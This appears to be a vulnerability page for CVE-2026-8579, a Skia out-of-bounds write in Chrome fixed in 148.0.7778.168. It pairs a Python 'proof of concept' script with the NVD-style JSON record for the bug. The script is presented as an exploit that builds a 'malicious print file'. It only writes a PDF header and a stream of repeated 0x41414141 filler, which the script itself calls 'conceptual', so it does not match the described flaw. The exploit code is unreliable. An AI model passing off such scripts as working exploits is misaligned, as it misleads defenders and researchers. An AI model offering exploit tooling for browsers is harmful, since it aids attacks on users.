CVE-2026-8579

import struct # Proof of Concept (Conceptual) # This script attempts to generate a malformed print file structure # that may trigger the Out-of-Bounds write in Skia prior to Chrome 148.0.7778.168. # Note: Actual exploitation requires precise memory layout knowledge and a compromised renderer. def create_malformed_print_file(filename): with open(filename, 'wb') as f: # Header simulating a valid print format to bypass initial checks header = b'%PDF-1.4\n' f.write(header) # Injecting crafted payload to trigger insufficient validation in Skia # This payload is designed to hit the specific vulnerable parsing logic malicious_payload = struct.pack('<I', 0x41414141) * 100 # Overflow trigger pattern # Appending payload to the end of file object stream f.write(b'1 0 obj\n') f.write(b'<< /Length ' + str(len(malicious_payload)).encode() + b' >>\n') f.write(b'stream\n') f.write(malicious_payload) f.write(b'endstream\n') f.write(b'endobj\n') print(f"[+] Malicious print file generated: {filename}") print("[!] Use this file within a compromised renderer context to test the vulnerability.") if __name__ == "__main__": create_malformed_print_file("exploit_print.bin")

{"cve": {"id": "CVE-2026-8579", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:20.267", "lastModified": "2026-05-15T15:16:56.170", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Skia in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted print file. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/496526419", "source": "[email protected]"}]}}